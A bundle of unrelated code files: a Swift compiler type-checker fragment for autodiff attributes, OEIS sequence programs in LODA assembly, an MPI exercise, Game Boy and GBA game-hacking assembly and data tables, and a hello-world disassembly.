resolvedDiffParamIndices, kind.getLinearMapKind(),
LookUpConformanceInModule(derivative->getModuleContext()),
/*makeSelfParamFirst*/ true);
// Helper for diagnosing derivative function type errors.
auto errorHandler = [&](const DerivativeFunctionTypeError &error) {
attr->setInvalid();
switch (error.kind) {
case DerivativeFunctionTypeError::Kind::NoSemanticResults:
diags
.diagnose(attr->getLocation(),
diag::autodiff_attr_original_void_result,
originalAFD->getName())
.highlight(attr->getOriginalFunctionName().Loc.getSourceRange());
return;
case DerivativeFunctionTypeError::Kind::MultipleSemanticResults:
diags
.diagnose(attr->getLocation(),
diag::autodiff_attr_original_multiple_semantic_results)
.highlight(attr->getOriginalFunctionName().Loc.getSourceRange());
return;
case DerivativeFunctionTypeError::Kind::NoDifferentiabilityParameters:
diags.diagnose(attr->getLocation(),
diag::diff_params_clause_no_inferred_parameters);
return;
case DerivativeFunctionTypeError::Kind::
NonDifferentiableDifferentiabilityParameter: {
auto nonDiffParam = error.getNonDifferentiableTypeAndIndex();
SourceLoc loc = parsedDiffParams.empty()
? attr->getLocation()
: parsedDiffParams[nonDiffParam.second].getLoc();
diags.diagnose(loc, diag::diff_params_clause_param_not_differentiable,
nonDiffParam.first);
return;
}
case DerivativeFunctionTypeError::Kind::NonDifferentiableResult:
auto nonDiffResult = error.getNonDifferentiableTypeAndIndex();
diags.diagnose(attr->getLocation(),
diag::autodiff_attr_result_not_differentiable,
nonDiffResult.first);
return;
}
};
// Diagnose any derivative function type errors.
if (!expectedLinearMapTypeOrError) {
auto error = expectedLinearMapTypeOrError.takeError();
handleAllErrors(std::move(error), errorHandler);
return true;
}
Type expectedLinearMapType = expectedLinearMapTypeOrError.get();
if (expectedLinearMapType->hasTypeParameter())
expectedLinearMapType =
derivative->mapTypeIntoContext(expectedLinearMapType);
if (expectedLinearMapType->hasArchetype())
expectedLinearMapType = expectedLinearMapType->mapTypeOutOfContext();
// Compute the actual differential/pullback type for comparison with the
// expected type. We must canonicalize the derivative interface type before
// extracting the differential/pullback type from it so that types are
// simplified via the canonical generic signature.
CanType canActualResultType = derivativeInterfaceType->getCanonicalType();
while (isa<AnyFunctionType>(canActualResultType)) {
canActualResultType =
cast<AnyFunctionType>(canActualResultType).getResult();
}
CanType actualLinearMapType =
cast<TupleType>(canActualResultType).getElementType(1);
// Check if differential/pullback type matches expected type.
if (!actualLinearMapType->isEqual(expectedLinearMapType)) {
// Emit differential/pullback type mismatch error on attribute.
diags.diagnose(attr->getLocation(),
diag::derivative_attr_result_func_type_mismatch,
funcResultElt.getName(), originalAFD->getName());
// Emit note with expected differential/pullback type on actual type
// location.
auto *tupleReturnTypeRepr =
cast<TupleTypeRepr>(derivative->getResultTypeRepr());
auto *funcEltTypeRepr = tupleReturnTypeRepr->getElementType(1);
diags
.diagnose(funcEltTypeRepr->getStartLoc(),
diag::derivative_attr_result_func_type_mismatch_note,
funcResultElt.getName(), expectedLinearMapType)
.highlight(funcEltTypeRepr->getSourceRange());
// Emit note showing original function location, if possible.
if (originalAFD->getLoc().isValid())
diags.diagnose(originalAFD->getLoc(),
diag::derivative_attr_result_func_original_note,
originalAFD->getName());
return true;
}
// Reject duplicate `@derivative` attributes.
auto &derivativeAttrs = Ctx.DerivativeAttrs[std::make_tuple(
originalAFD, resolvedDiffParamIndices, kind)];
derivativeAttrs.insert(attr);
if (derivativeAttrs.size() > 1) {
diags.diagnose(attr->getLocation(),
diag::derivative_attr_original_already_has_derivative,
originalAFD->getName());
for (auto *duplicateAttr : derivativeAttrs) {
if (duplicateAttr == attr)
continue;
diags.diagnose(duplicateAttr->getLocation(),
diag::derivative_attr_duplicate_note);
}
return true;
}
// Register derivative function configuration.
auto *resultIndices = IndexSubset::get(Ctx, 1, {0});
originalAFD->addDerivativeFunctionConfiguration(
{resolvedDiffParamIndices, resultIndices,
derivative->getGenericSignature()});
return false;
}
void AttributeChecker::visitDerivativeAttr(DerivativeAttr *attr) {
if (typeCheckDerivativeAttr(Ctx, D, attr))
attr->setInvalid();
}
AbstractFunctionDecl *
DerivativeAttrOriginalDeclRequest::evaluate(Evaluator &evaluator,
DerivativeAttr *attr) const {
// If the typechecker has resolved the original function, return it.
if (auto *FD = attr->OriginalFunction.dyn_cast<AbstractFunctionDecl *>())
return FD;
// If the function can be lazily resolved, do so now.
if (auto *Resolver = attr->OriginalFunction.dyn_cast<LazyMemberLoader *>())
return Resolver->loadReferencedFunctionDecl(attr,
attr->ResolverContextData);
return nullptr;
}
/// Computes the linearity parameter indices from the given parsed linearity
/// parameters for the given transpose function. On error, emits diagnostics and
/// returns `nullptr`.
///
/// The attribute location is used in diagnostics.
static IndexSubset *
computeLinearityParameters(ArrayRef<ParsedAutoDiffParameter> parsedLinearParams,
AbstractFunctionDecl *transposeFunction,
SourceLoc attrLoc) {
auto &ctx = transposeFunction->getASTContext();
auto &diags = ctx.Diags;
// Get the transpose function type.
auto *transposeFunctionType =
transposeFunction->getInterfaceType()->castTo<AnyFunctionType>();
bool isCurried = transposeFunctionType->getResult()->is<AnyFunctionType>();
// Get transposed result types.
// The transpose function result type may be a singular type or a tuple type.
ArrayRef<TupleTypeElt> transposeResultTypes;
auto transposeResultType = transposeFunctionType->getResult();
if (isCurried)
transposeResultType =
transposeResultType->castTo<AnyFunctionType>()->getResult();
if (auto resultTupleType = transposeResultType->getAs<TupleType>()) {
transposeResultTypes = resultTupleType->getElements();
} else {
transposeResultTypes = ArrayRef<TupleTypeElt>(transposeResultType);
}
// If `self` is a linearity parameter, the transpose function must be static.
auto isStaticMethod = transposeFunction->isStatic();
bool wrtSelf = false;
if (!parsedLinearParams.empty())
wrtSelf = parsedLinearParams.front().getKind() ==
ParsedAutoDiffParameter::Kind::Self;
if (wrtSelf && !isStaticMethod) {
diags.diagnose(attrLoc, diag::transpose_attr_wrt_self_must_be_static);
return nullptr;
}
// Build linearity parameter indices from parsed linearity parameters.
auto numUncurriedParams = transposeFunctionType->getNumParams();
if (isCurried) {
auto *resultFnType =
transposeFunctionType->getResult()->castTo<AnyFunctionType>();
numUncurriedParams += resultFnType->getNumParams();
}
auto numParams =
numUncurriedParams + parsedLinearParams.size() - 1 - (unsigned)wrtSelf;
SmallBitVector parameterBits(numParams);
int lastIndex = -1;
for (unsigned i : indices(parsedLinearParams)) {
auto paramLoc = parsedLinearParams[i].getLoc();
switch (parsedLinearParams[i].getKind()) {
case ParsedAutoDiffParameter::Kind::Named: {
diags.diagnose(paramLoc, diag::transpose_attr_cannot_use_named_wrt_params,
parsedLinearParams[i].getName());
return nullptr;
}
case ParsedAutoDiffParameter::Kind::Self: {
// 'self' can only be the first in the list.
if (i > 0) {
diags.diagnose(paramLoc, diag::diff_params_clause_self_must_be_first);
return nullptr;
}
parameterBits.set(parameterBits.size() - 1);
break;
}
case ParsedAutoDiffParameter::Kind::Ordered: {
auto index = parsedLinearParams[i].getIndex();
if (index >= numParams) {
diags.diagnose(paramLoc,
diag::diff_params_clause_param_index_out_of_range);
return nullptr;
}
// Parameter names must be specified in the original order.
if ((int)index <= lastIndex) {
diags.diagnose(paramLoc,
diag::diff_params_clause_params_not_original_order);
return nullptr;
}
parameterBits.set(index);
lastIndex = index;
break;
}
}
}
return IndexSubset::get(ctx, parameterBits);
}
/// Checks if the given linearity parameter types are valid for the given
/// original function in the given derivative generic environment and module
/// context. Returns true on error.
///
/// The parsed differentiability parameters and attribute location are used in
/// diagnostics.
static bool checkLinearityParameters(
AbstractFunctionDecl *originalAFD,
SmallVector<AnyFunctionType::Param, 4> linearParams,
GenericEnvironment *derivativeGenEnv, ModuleDecl *module,
ArrayRef<ParsedAutoDiffParameter> parsedLinearParams, SourceLoc attrLoc) {
auto &ctx = originalAFD->getASTContext();
auto &diags = ctx.Diags;
// Check that linearity parameters have allowed types.
for (unsigned i : range(linearParams.size())) {
auto linearParamType = linearParams[i].getPlainType();
if (!linearParamType->hasTypeParameter())
linearParamType = linearParamType->mapTypeOutOfContext();
if (derivativeGenEnv)
linearParamType = derivativeGenEnv->mapTypeIntoContext(linearParamType);
else
linearParamType = originalAFD->mapTypeIntoContext(linearParamType);
SourceLoc loc =
parsedLinearParams.empty() ? attrLoc : parsedLinearParams[i].getLoc();
// Parameter must conform to `Differentiable` and satisfy
// `Self == Self.TangentVector`.
if (!conformsToDifferentiable(linearParamType, originalAFD,
/*tangentVectorEqualsSelf*/ true)) {
diags.diagnose(loc,
diag::transpose_attr_invalid_linearity_parameter_or_result,
linearParamType.getString(), /*isParameter*/ true);
return true;
}
}
return false;
}
/// Given a transpose function type where `self` is a linearity parameter,
/// sets `staticSelfType` and `instanceSelfType` and returns true if they are
/// equals. Otherwise, returns false.
static bool
doTransposeStaticAndInstanceSelfTypesMatch(AnyFunctionType *transposeType,
Type &staticSelfType,
Type &instanceSelfType) {
// Transpose type should have the form:
// `(StaticSelf) -> (...) -> (InstanceSelf, ...)`.
auto methodType = transposeType->getResult()->castTo<AnyFunctionType>();
auto transposeResult = methodType->getResult();
// Get transposed result types.
// The transpose function result type may be a singular type or a tuple type.
SmallVector<TupleTypeElt, 4> transposeResultTypes;
if (auto transposeResultTupleType = transposeResult->getAs<TupleType>()) {
transposeResultTypes.append(transposeResultTupleType->getElements().begin(),
transposeResultTupleType->getElements().end());
} else {
transposeResultTypes.push_back(transposeResult);
}
assert(!transposeResultTypes.empty());
// Get the static and instance `Self` types.
staticSelfType = transposeType->getParams()
.front()
.getPlainType()
->getMetatypeInstanceType();
instanceSelfType = transposeResultTypes.front().getType();
// Return true if static and instance `Self` types are equal.
return staticSelfType->isEqual(instanceSelfType);
}
void AttributeChecker::visitTransposeAttr(TransposeAttr *attr) {
auto *transpose = cast<FuncDecl>(D);
auto originalName = attr->getOriginalFunctionName();
auto *transposeInterfaceType =
transpose->getInterfaceType()->castTo<AnyFunctionType>();
bool isCurried = transposeInterfaceType->getResult()->is<AnyFunctionType>();
// Get the linearity parameter indices.
auto *linearParamIndices = attr->getParameterIndices();
// Get the parsed linearity parameter indices, which have not yet been
// resolved. Parsed linearity parameter indices are defined only for parsed
// attributes.
auto parsedLinearParams = attr->getParsedParameters();
// If linearity parameter indices are not resolved, compute them.
if (!linearParamIndices)
linearParamIndices = computeLinearityParameters(
parsedLinearParams, transpose, attr->getLocation());
if (!linearParamIndices) {
attr->setInvalid();
return;
}
// Diagnose empty linearity parameter indices. This occurs when no `wrt:`
// clause is declared and no linearity parameters can be inferred.
if (linearParamIndices->isEmpty()) {
diagnoseAndRemoveAttr(attr,
diag::diff_params_clause_no_inferred_parameters);
return;
}
bool wrtSelf = false;
if (!parsedLinearParams.empty())
wrtSelf = parsedLinearParams.front().getKind() ==
ParsedAutoDiffParameter::Kind::Self;
// If the transpose function is curried and `self` is a linearity parameter,
// check that the instance and static `Self` types are equal.
Type staticSelfType, instanceSelfType;
if (isCurried && wrtSelf) {
bool doSelfTypesMatch = doTransposeStaticAndInstanceSelfTypesMatch(
transposeInterfaceType, staticSelfType, instanceSelfType);
if (!doSelfTypesMatch) {
diagnose(attr->getLocation(),
diag::transpose_attr_wrt_self_must_be_static);
diagnose(attr->getLocation(),
diag::transpose_attr_wrt_self_self_type_mismatch_note,
staticSelfType, instanceSelfType);
attr->setInvalid();
return;
}
}
auto *expectedOriginalFnType = getTransposeOriginalFunctionType(
transposeInterfaceType, linearParamIndices, wrtSelf);
// `R` result type must conform to `Differentiable` and satisfy
// `Self == Self.TangentVector`.
auto expectedOriginalResultType = expectedOriginalFnType->getResult();
if (isCurried)
expectedOriginalResultType =
expectedOriginalResultType->castTo<AnyFunctionType>()->getResult();
if (expectedOriginalResultType->hasTypeParameter())
expectedOriginalResultType = transpose->mapTypeIntoContext(
expectedOriginalResultType);
if (!conformsToDifferentiable(expectedOriginalResultType, transpose,
/*tangentVectorEqualsSelf*/ true)) {
diagnoseAndRemoveAttr(
attr, diag::transpose_attr_invalid_linearity_parameter_or_result,
expectedOriginalResultType.getString(), /*isParameter*/ false);
return;
}
// Returns true if the generic parameters in `source` satisfy the generic
// requirements in `target`.
std::function<bool(GenericSignature, GenericSignature)>
checkGenericSignatureSatisfied = [&](GenericSignature source,
GenericSignature target) {
// If target is null, then its requirements are satisfied.
if (!target)
return true;
// If source is null but target is not null, then target's
// requirements are not satisfied.
if (!source)
return false;
return target->requirementsNotSatisfiedBy(source).empty();
};
auto isValidOriginalCandidate = [&](AbstractFunctionDecl *originalCandidate)
-> Optional<AbstractFunctionDeclLookupErrorKind> {
// Error if the original candidate does not have the expected type.
if (!checkFunctionSignature(
cast<AnyFunctionType>(expectedOriginalFnType->getCanonicalType()),
originalCandidate->getInterfaceType()->getCanonicalType(),
checkGenericSignatureSatisfied))
return AbstractFunctionDeclLookupErrorKind::CandidateTypeMismatch;
return None;
};
Type baseType;
if (attr->getBaseTypeRepr()) {
baseType = TypeResolution::forContextual(transpose->getDeclContext(), None,
/*unboundTyOpener*/ nullptr)
.resolveType(attr->getBaseTypeRepr());
}
auto lookupOptions =
(attr->getBaseTypeRepr() ? defaultMemberLookupOptions
: defaultUnqualifiedLookupOptions) |
NameLookupFlags::IgnoreAccessControl;
auto transposeTypeCtx = transpose->getInnermostTypeContext();
if (!transposeTypeCtx) transposeTypeCtx = transpose->getParent();
assert(transposeTypeCtx);
// Look up original function.
auto funcLoc = originalName.Loc.getBaseNameLoc();
if (attr->getBaseTypeRepr())
funcLoc = attr->getBaseTypeRepr()->getLoc();
auto *originalAFD = findAutoDiffOriginalFunctionDecl(
attr, baseType, originalName, transposeTypeCtx, lookupOptions,
isValidOriginalCandidate, expectedOriginalFnType);
if (!originalAFD) {
attr->setInvalid();
return;
}
attr->setOriginalFunction(originalAFD);
// Diagnose if original function has opaque result types.
if (auto *opaqueResultTypeDecl = originalAFD->getOpaqueResultTypeDecl()) {
diagnose(attr->getLocation(),
diag::autodiff_attr_opaque_result_type_unsupported);
attr->setInvalid();
return;
}
// Get the linearity parameter types.
SmallVector<AnyFunctionType::Param, 4> linearParams;
expectedOriginalFnType->getSubsetParameters(linearParamIndices, linearParams,
/*reverseCurryLevels*/ true);
// Check if linearity parameter indices are valid.
if (checkLinearityParameters(originalAFD, linearParams,
transpose->getGenericEnvironment(),
transpose->getModuleContext(),
parsedLinearParams, attr->getLocation())) {
D->getAttrs().removeAttribute(attr);
attr->setInvalid();
return;
}
// Set the resolved linearity parameter indices in the attribute.
attr->setParameterIndices(linearParamIndices);
}
|
; A031369: a(n) = prime(3n-1).
; 3,11,19,31,43,59,71,83,101,109,131,149,163,179,193,211,229,241,263,277,293,313,337,353,373,389,409,431,443,461,479,499,521,547,569,587,601,617,641,653,673,691,719,739,757,773,809,823,839,859,881,907,929,947,971,991,1013,1031,1049,1063,1091,1103,1123,1153,1181,1201,1223,1237,1277,1289,1301,1319,1361,1381,1423,1433,1451,1471,1487,1499,1531,1553,1571,1597,1609,1621,1657,1669,1699,1723,1747,1777,1789,1823,1861,1873,1889,1913,1949,1979
mul $0,3
seq $0,98090 ; Numbers k such that 2k-3 is prime.
mul $0,2
sub $0,3
|
#include "pt4.h"
#include "mpi.h"
#include <vector>
using namespace std;
void Solve() {
Task("MPI5Comm14");
int flag;
MPI_Initialized(&flag);
if (flag == 0)
return;
int rank, size;
MPI_Comm_size(MPI_COMM_WORLD, &size);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
if (rank == 0) {
int N, K = size;
pt >> N;
for (int i = 1; i < size; ++i)
MPI_Send(&N, 1, MPI_INT, i, 0, MPI_COMM_WORLD);
MPI_Comm comm;
int dims[] = { N, K / N }, periods[] = { 0, 0 };
MPI_Cart_create(MPI_COMM_WORLD, 2, dims, periods, 0, &comm);
int coords[2];
MPI_Cart_coords(comm, rank, 2, coords);
pt << coords[0] << coords[1];
}
else {
int N, K = size;
MPI_Status s;
MPI_Recv(&N, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &s);
MPI_Comm comm;
int dims[] = { N, K / N }, periods[] = { 0, 0 };
MPI_Cart_create(MPI_COMM_WORLD, 2, dims, periods, 0, &comm);
if (rank < N) {
int coords[2];
int result = MPI_Cart_coords(comm, rank, 2, coords);
if (!result)
pt << coords[0] << coords[1];
Show(result);
}
}
}
|
.thumb
.org 0x00
.macro blh to, reg=r3
ldr \reg, =\to
mov lr, \reg
.short 0xF800
.endm
Init:
ldr r5, =0x30067A0
Player:
mov r0, #0x48
mov r2, #51
mul r2, r0 @Size of Copy
ldr r0, =0x1F78 @Dest
add r0, r6, r0
ldr r1, =0x202BE4C @Player Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
Enemy:
mov r0, #0x48
mov r2, #50
mul r2, r0 @Size of Copy
ldr r0, =0x1F78+(51*0x48) @Dest
add r0, r6, r0
ldr r1, =0x202CFBC @Enemy Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
NPC:
mov r0, #0x48
mov r2, #10
mul r2, r0 @Size of Copy
ldr r0, =0x1F78+(51*0x48)+(50*0x48) @Dest
add r0, r6, r0
ldr r1, =0x202DDCC @NPC Unit Pool
ldr r3, [r5] @ LoadFromSRAM
bl BXR3
ldr r3, =0x80A5CB1
BXR3:
bx r3
.pool
|
Museum2FObject:
db $a ; border block
db $1 ; warps
db $7, $7, $4, MUSEUM_1F
db $2 ; signs
db $2, $b, $6 ; Museum2FText6
db $5, $2, $7 ; Museum2FText7
db $5 ; objects
object SPRITE_MEOWTH, $1, $7, WALK, $2, $1, OPP_ROCKET, $2e ; person
object SPRITE_OLD_PERSON, $0, $5, STAY, DOWN, $2 ; person
object SPRITE_OAK_AIDE, $7, $5, STAY, DOWN, $3 ; person
object SPRITE_BRUNETTE_GIRL, $b, $5, STAY, NONE, $4 ; person
object SPRITE_HIKER, $c, $5, STAY, DOWN, $5 ; person
; warp-to
EVENT_DISP MUSEUM_2F_WIDTH, $7, $7 ; MUSEUM_1F
|
; A047301: Numbers that are congruent to {0, 2, 3, 4, 6} mod 7.
; 0,2,3,4,6,7,9,10,11,13,14,16,17,18,20,21,23,24,25,27,28,30,31,32,34,35,37,38,39,41,42,44,45,46,48,49,51,52,53,55,56,58,59,60,62,63,65,66,67,69,70,72,73,74,76,77,79
mul $0,7
mov $1,$0
add $1,3
div $1,5
|
; A256019: a(n) = Sum_{i=1..n-1} (i^3 * a(i)), a(1)=1.
; 1,1,9,252,16380,2063880,447861960,154064514240,79035095805120,57695619937737600,57753315557675337600,76927416322823549683200,133007502822161917402252800,292350491203111894450151654400,802502098352542150265666291328000
seq $0,255433 ; a(n) = Product_{k=0..n} (k^3+1).
add $0,1
div $0,2
|
; Disassembly of file: helloworld.o
; Mon Sep 18 07:52:06 2017
; Mode: 32 bits
; Syntax: YASM/NASM
; Instruction set: 80386
global _main: function
extern _printf ; near
extern __alloca ; near
extern ___main ; near
SECTION .text align=1 execute ; section number 1, code
.text: ; Local function
_main:
push ebp ; 0000 _ 55
mov ebp, esp ; 0001 _ 89. E5
sub esp, 8 ; 0003 _ 83. EC, 08
and esp, 0FFFFFFF0H ; 0006 _ 83. E4, F0
mov eax, 0 ; 0009 _ B8, 00000000
add eax, 15 ; 000E _ 83. C0, 0F
add eax, 15 ; 0011 _ 83. C0, 0F
shr eax, 4 ; 0014 _ C1. E8, 04
shl eax, 4 ; 0017 _ C1. E0, 04
mov dword [ebp-4H], eax ; 001A _ 89. 45, FC
mov eax, dword [ebp-4H] ; 001D _ 8B. 45, FC
call __alloca ; 0020 _ E8, 00000000(rel)
call ___main ; 0025 _ E8, 00000000(rel)
mov dword [esp], ?_001 ; 002A _ C7. 04 24, 00000000(d)
call _printf ; 0031 _ E8, 00000000(rel)
mov eax, 0 ; 0036 _ B8, 00000000
leave ; 003B _ C9
ret ; 003C _ C3
nop ; 003D _ 90
nop ; 003E _ 90
nop ; 003F _ 90
SECTION .data align=1 noexecute ; section number 2, data
SECTION .bss align=1 noexecute ; section number 3, bss
SECTION .rdata align=1 noexecute ; section number 4, const
?_001: ; byte
db 48H, 65H, 6CH, 6CH, 6FH, 20H, 77H, 6FH ; 0000 _ Hello wo
db 72H, 6CH, 64H, 21H, 0AH, 00H, 00H, 00H ; 0008 _ rld!....
|
; A104879: Row sums of a sum-of-powers triangle.
; 1,2,4,8,17,40,106,316,1049,3830,15208,65072,297841,1449756,7468542,40555748,231335961,1381989882,8623700812,56078446616,379233142801,2662013133296,19362917622002,145719550012300,1133023004941273,9090156910550110,75161929739797520
mov $14,$0
mov $16,$0
add $16,1
lpb $16
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
lpb $0
sub $0,1
mov $2,$0
add $6,1
pow $2,$6
add $1,$2
lpe
add $1,1
add $15,$1
lpe
mov $1,$15
|
tilecoll WALL, WALL, WALL, WALL ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 02
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 03
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 04
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 05
tilecoll HOP_DOWN, FLOOR, WALL, WALL ; 06
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 07
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 08
tilecoll WALL, WALL, FLOOR, FLOOR ; 09
tilecoll WARP_CARPET_UP, WARP_CARPET_UP, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 0a
tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 0b
tilecoll WALL, WALL, WALL, WALL ; 0c
tilecoll WALL, WALL, WALL, WALL ; 0d
tilecoll WALL, WALL, WALL, WALL ; 0e
tilecoll WALL, WALL, WALL, WALL ; 0f
tilecoll WALL, WALL, WALL, WALL ; 10
tilecoll WALL, TALL_GRASS, WALL, TALL_GRASS ; 11
tilecoll FLOOR, FLOOR, FLOOR, TALL_GRASS ; 12
tilecoll WALL, WALL, WALL, WALL ; 13
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 14
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 15
tilecoll FLOOR, FLOOR, WALL, WALL ; 16
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 17
tilecoll FLOOR, FLOOR, WALL, WALL ; 18
tilecoll FLOOR, FLOOR, WALL, WALL ; 19
tilecoll FLOOR, FLOOR, WALL, WALL ; 1a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1b
tilecoll WALL, WALL, WALL, WALL ; 1c
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1d
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1e
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1f
tilecoll WALL, WALL, WALL, WALL ; 20
tilecoll WALL, WALL, WALL, WALL ; 21
tilecoll WALL, WALL, WALL, WALL ; 22
tilecoll WALL, WALL, WALL, WALL ; 23
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 24
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 25
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 26
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 27
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 28
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 29
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2c
tilecoll WALL, WALL, WALL, WALL ; 2d
tilecoll WALL, FLOOR, WALL, FLOOR ; 2e
tilecoll FLOOR, WALL, FLOOR, WALL ; 2f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 30
tilecoll FLOOR, TALL_GRASS, FLOOR, TALL_GRASS ; 31
tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; 32
tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; 33
tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; 34
tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 35
tilecoll FLOOR, FLOOR, TALL_GRASS, TALL_GRASS ; 36
tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; 37
tilecoll WALL, WALL, WALL, WALL ; 38
tilecoll WALL, WALL, WALL, WALL ; 39
tilecoll WALL, WALL, DOOR, WALL ; 3a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3b
tilecoll WALL, WALL, WALL, DOOR ; 3c
tilecoll WALL, WALL, WALL, WALL ; 3d
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3e
tilecoll FLOOR, FLOOR, WALL, WALL ; 3f
tilecoll FLOOR, FLOOR, WALL, WALL ; 40
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 41
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 42
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 43
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 44
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 45
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 46
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 47
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 48
tilecoll FLOOR, FLOOR, HOP_DOWN, HOP_DOWN ; 49
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 4a
tilecoll FLOOR, TALL_GRASS, FLOOR, TALL_GRASS ; 4b
tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; 4c
tilecoll WALL, WALL, WALL, WALL ; 4d
tilecoll WALL, WALL, WALL, WALL ; 4e
tilecoll WALL, WALL, WALL, WALL ; 4f
tilecoll WALL, WALL, WALL, WALL ; 50
tilecoll WALL, WALL, WALL, WALL ; 51
tilecoll WALL, WALL, WALL, WALL ; 52
tilecoll WALL, WALL, WALL, WALL ; 53
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 54
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 55
tilecoll FLOOR, FLOOR, WALL, WALL ; 56
tilecoll FLOOR, FLOOR, WALL, WALL ; 57
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 58
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 59
tilecoll WALL, TALL_GRASS, WALL, WALL ; 5a
tilecoll WALL, FLOOR, WALL, FLOOR ; 5b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 5c
tilecoll TALL_GRASS, TALL_GRASS, WALL, WALL ; 5d
tilecoll TALL_GRASS, TALL_GRASS, HOP_DOWN, HOP_DOWN ; 5e
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 5f
tilecoll WALL, WALL, WALL, WALL ; 60
tilecoll WALL, WALL, WALL, WALL ; 61
tilecoll WALL, WALL, WALL, WALL ; 62
tilecoll WALL, WALL, WALL, WALL ; 63
tilecoll WALL, WALL, FLOOR, FLOOR ; 64
tilecoll FLOOR, FLOOR, WALL, FLOOR ; 65
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 66
tilecoll HOP_DOWN, FLOOR, WALL, FLOOR ; 67
tilecoll FLOOR, FLOOR, HOP_DOWN, WALL ; 68
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 69
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 6a
tilecoll WALL, WALL, WALL, WALL ; 6b
tilecoll WALL, WALL, FLOOR, FLOOR ; 6c
tilecoll WALL, FLOOR, WALL, FLOOR ; 6d
tilecoll FLOOR, WALL, FLOOR, WALL ; 6e
tilecoll FLOOR, FLOOR, WALL, WALL ; 6f
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 70
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 71
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 72
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 73
tilecoll WALL, WALL, WALL, WALL ; 74
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 75
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 76
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 77
tilecoll FLOOR, TALL_GRASS, FLOOR, TALL_GRASS ; 78
tilecoll FLOOR, TALL_GRASS, FLOOR, TALL_GRASS ; 79
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 7a
tilecoll FLOOR, TALL_GRASS, WALL, WALL ; 7b
tilecoll WALL, WALL, WALL, DOOR ; 7c
tilecoll WALL, WALL, WALL, WALL ; 7d
tilecoll WALL, WALL, WALL, WALL ; 7e
tilecoll WALL, WALL, WALL, WALL ; 7f
tilecoll TALL_GRASS, TALL_GRASS, FLOOR, FLOOR ; 80
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 81
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 82
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 83
tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 84
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 85
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 86
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 87
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 88
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 89
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8a
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8b
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8c
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8d
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8e
